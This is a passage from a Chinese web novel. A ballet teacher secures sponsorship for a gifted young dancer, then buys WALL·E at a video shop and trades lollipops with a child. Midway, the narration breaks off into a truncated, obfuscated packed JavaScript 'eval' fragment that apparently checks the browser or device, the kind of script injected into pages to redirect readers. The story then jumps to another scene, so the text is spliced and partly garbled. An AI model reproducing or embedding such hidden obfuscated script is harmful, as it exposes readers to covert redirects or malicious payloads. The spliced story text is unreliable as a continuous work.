“你很看重这个孩子吧。” 柳冬意知道自己的心思瞒不过过来人的眼睛,点了点头,“嗯,希希的天赋实在难得。” “是啊,天赋这个东西好多人想求都求不来,遇到了自然得要好好把握。” 说起这句话时,沈牧华的语气意味深长,柳冬意不禁朝她看了过去,只见她微微垂着头,表情有些黯然,不知在想些什么。 不过没等她深想下去,休息室的门再度打开。 柳冬意下意识挺直了背,没有抬头,只是盯着自己不断握紧的双手。 “堂姐,秦姐和希希来了。” 直到柳荨喊她,才终于抬头。 看见进来的两个人,她眼神微动,紧绷的肩膀微微松懈了下来。 “秦姐,希希,”她撑着沙发起身,“快过来坐着吧。” 母女俩望着沙发上的沈牧华和徐哲丽,有些局促,一时没挪步。 还是柳荨拍了拍希希的肩膀,才将人带了过去,“这两位阿姨都是今天来看你表演的,跟她们打个招呼吧。” 希希睁大眼睛,怯生生开口,“阿姨们好。” 沈牧华走上前,仔仔细细端详着她。 “你叫希希,是吗?” “嗯,秦希。” “阿姨觉得你今天跳得特别特别好。” “真的吗?”希希嘴角扬起小小弧度,“谢谢阿姨。” “阿姨可以问你一个问题吗?” “嗯!” “在舞台上跳舞的时候,是什么感觉?” 希希抿起唇,认真地想着。 “像…变成真的天鹅那样的感觉。” 听到这个回答,沈牧华眼中露出欣慰。 她抬起手,摸了摸女孩的头发,柔声问:“那以后还想在舞台上跳舞吗?” 希希呆呆地看着她,似是有些不敢相信,“我还可以在舞台上跳舞吗?” “只要你愿意,当然可以一直跳下去。” 说完,沈牧华转向还在发愣的秦容芳面前,从包里拿出一张名片递了过去,“大姐您好,这是我的名片。” 接过名片,秦容芳细细看了一眼。 沈牧华,济北芭蕾舞蹈团艺术总监。 “是这样的,我刚刚看了希希的表演,觉得她特别有天赋。听柳老师说孩子还没系统学习过芭蕾,就想和您商量个事,您听听看行不行。” 秦容芳将名片小心放进口袋,“可以,你说吧。” “我想承担希希从现在到成年前所有学习芭蕾的费用,不管是在哪里学,学费多少,都由我来出。” “这怎么行…” 秦容芳推辞的话还没说完,就被沈牧华温声打断,“大姐,您先听我说完,这些费用我不白出,是有条件的。” “那…是有什么条件?” “我在济北成立了一个芭蕾舞团,所以希望等希希十五岁的时候,舞团能优先向她发出一份《入职意向书》。” “然后等到希希满十六岁,再由她本人来签署正式的《劳动合同》。” 沈牧华补充了句,“当然到时候如果她有更好的发展,我也完全尊重她的选择。” 秦容芳大约听懂了她的意思,但这么重要的事情,她不能一个人拿主意。 她蹲下身,语气变得格外认真,“希希,这位阿姨说她愿意帮你学跳舞,但等你到了十五岁的时候,要第一个考虑去她们的舞蹈团,你愿意吗?” “那我…我还能跟柳老师学跳舞吗?” 没想到她最先关心的是这个,沈牧华和柳冬意对视了一眼,而后给出了肯定的答案。 “当然可以,我相信她可以把你教得很好。” 得知能继续跟柳冬意学习芭蕾,希希这才点头,“好,我愿意!” 又聊了一些协议细节,沈牧华两人便和秦容芳母女一同离开了剧院。 “堂姐,希希的事情是你牵的线吧?” 柳荨和她一起整理着剩余的工作。 “我再怎么牵线,希希自己要是跳得不好的话,沈姐也不会开这个口的。” “那得有你在中间搭桥啊,不过你为什么一定要让沈姐资助?咱们舞蹈室不也可以吗,这么好的苗子,我肯定不会让她浪费的。” 柳冬意早就想过这个问题,但她更清楚秦姐一家子的固执和尊严。舞蹈室虽然能提供帮助,却给不了他们最需要的等价交换,唯有像沈牧华这样,用一种近乎交易的办法给予支持,她才能坦然接受,不必背负人情债。 “沈姐是个有能力也有想法的人,”柳冬意将打包好的箱子放在小推车上,“这样的人可以帮希希少走很多弯路,而且也能让秦姐更安心。” 听到这,柳荨不禁感慨,“堂姐,你为希希考虑得也太周全了吧。” 推上小推车,两人来到剧院外,服装店的面包车已经在外等候,后门敞开着。 两人帮工作人员将几个箱子搬上车,等最后一个叠放妥当,远处的天幕已渐渐陷入灰蓝。 “堂姐,我今晚回去吃饭,咱们一起回去吧。”柳荨擦着手说道。 “下次吧,晚上我还有些事,就不去了。”柳冬意拿出绘珊给的单据,“这个是绘珊给孩子们买的玩偶,明天送到舞蹈室你记得收一下,她还说这场演出她看得很高兴,要我一定把这话带给你听呢。” “绘珊姐也太客气了,都怪我今天太忙了,不然我一定得当面谢谢她。”柳荨接过收据,仔仔细细折好,放进背包内侧的夹层。 “没关系,她不会介意这些的。” 柳荨想起什么,在帆布袋里摸索片刻,掏出一小袋棒棒糖来,“今天的糖没发完,剩了挺多的,我和几个老师分了下,这是给你的。” “我一个人哪吃得了那么多…” 柳冬意说着就要把袋子打开拿几根给她。 不过,等她看清里面的棒棒糖时,手却停住了。清一色的,都是巧克力味的。 她心头一暖,合上袋子,装进了包里。 “我先走了啊,堂姐你早点回去,别忙太晚。” 柳荨朝她挥挥手,小跑着穿过马路,身影很快融入人流。 柳冬意独自站在剧院门口,晚风带着初夏特有的温润和一股不知名的花香,拂过她的脸颊。 静静站了好一会,她才动身,往地铁站走去。 柳冬意习惯性去拿耳机,可摸到空空的夹层时才恍然记起送秦容芳离开时,自己已经将耳机交还给了她。 她喉间溢出一丝笑,似是自嘲。 什么时候变成这种无赖了,霸占了人家的耳机这么久,就以为是自己的了么。 还回去了,就到此为止了。 她抬手探进右边的口袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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门帘被撩开,一个系着围裙手上还站着面团点子的大姐走了出来。待看清柜台前站着的人时,她嘴里的絮叨瞬间停下,脸上立刻换上热情的笑容。 “哎呦,原来是你啊妹子,我还说谁大晚上地特意来找我呢。” 柳冬意不好意思地笑了笑,“抱歉,这么晚打扰您了。” “做生意的不就是开门迎客么,打扰啥呀,”大姐在围裙上擦了擦手,“今天你想看什么电影,最近新进了好多片子,要不要我给你找找去。” 柳冬意的目光在货架间扫过,“我也不知道要看什么,所以就想让您给我推荐一部来着。” 她想了想,又说,“最好…适合小孩子看的。” “阿姨,你是要动画片吗?”原本专注于电视的小女孩不知何时趴在了柜台上,小手托着腮好奇问道。 柳冬意微微弯腰,声音不自觉放软。 “是啊,你有什么好的推荐吗?” 小女孩歪着头,很认真地思考起来。没多会儿,她眼睛一亮,像是想到什么绝妙的主意,猛地从椅子上跳下来,向货架间跑去。 老板大姐无奈地摇头笑道:“这孩子就爱瞎凑热闹,屁大点懂什么电影,你别介意哈。” “不会,”柳冬意直起身,目光望向小女孩离去的方向,“这是您女儿吗,长得真漂亮。” “别人也都说她长得好,”说起女儿,大姐脸上的表情不由自主地柔和下来,“就是脾气差,也不知道随了谁,有时候我都分不清我和她谁是妈了。” 柳冬意被这话逗得笑出声,看着小女孩在货架上翻找的模样,果真像个小大人似的。 “上次你找的那电影咋样,好看不?” 她挪了挪视线,回到那天, 她窝在沙发里看完的那部影片。 没什么跌宕起伏的剧情, 也没有潸然泪下的爱情。 一个很简单的故事,两个萍水相逢的人, 因为音乐,互生好感,却又分开的故事。 平淡得就像一杯水。 一杯渴了就会喝的水。 柳冬意眨眨眼,将思绪拉回,正要说些什么时,小女孩就已经举着一盒碟片吧嗒吧嗒跑了回来。 “这个这个!特别好看!” 她兴奋得像是干了一件大事。 她接过碟片,封面上是两个机器人站在一片荒芜里仰望星空,名字叫《WALL·E》。 大姐凑过来看了一眼,狐疑地问:“机器人?这能好看吗?” “好不好看,试试就知道了,”柳冬意抬起头,对她笑了笑,“就要这个吧。” 大姐见她态度肯定,也很是大方地说:“那要是不好看你随时拿过来,我给你退。” 柳冬意笑着道了谢,从包里拿出钱包,指尖触及到装着棒棒糖的袋子时,犹豫了一下。 不过没多久,她就将它们都拿了出来。 “小朋友,这个给你,儿童节快乐哦。” 小女孩看向那一袋子糖,眼睛顿时亮了起来。 “妹子,她吃不了这么多,一两根意思意思就行。”大姐连忙上前阻拦,手在围裙上无措地擦着。 “没事的,慢慢吃就吃完了。” 柳冬意袋子放在柜台上。 “你这…唉,好吧,”大姐拗不过,只好拍了拍女儿的肩膀,“还不快谢谢阿姨。” 小女孩开心地抓起一袋子棒棒糖,声音又甜又亮,“谢谢阿姨!” “不用谢。”柳冬意付了钱,将碟片放进包里,“那我先走了,大姐您继续忙吧。” 大姐连连点头,“诶,好,慢走啊。” 来到门口,柳冬意刚握上门把手,身后突然传来小女孩的声音。 “阿姨你等一下!” 她疑惑地转身,看见小女孩拿着一根棒棒糖朝她跑来,“这个给你。” 柳冬意没有去接糖,蹲下身问:“怎么突然给我一根?” “阿姨不是也有小孩么,”小女孩一本正经地说,“她也要吃糖的。” 看着小女孩清澈的眼睛,柳冬意先是一愣,随即嘴角扬起一丝浅浅的笑意。 她伸出手,接过了那根棒棒糖。 “好,那我替她谢谢你了。” 推开音像店的门,城市里的嘈杂与喧闹,混着汽车的尾气,食物的香气和初夏草木味道的风,再度扑来,将她包围。 她没有马上离开,而是站在店门口旧旧的招牌旁,低头看向手中的糖。糖纸上,那只小狗依旧没心没肺地咧着嘴,仿佛在为什么天大的喜事而笑。 她无声叹了口气,几分无奈,几分温柔。 而后喃喃低语,轻易随风散去。 “你也节日快乐。”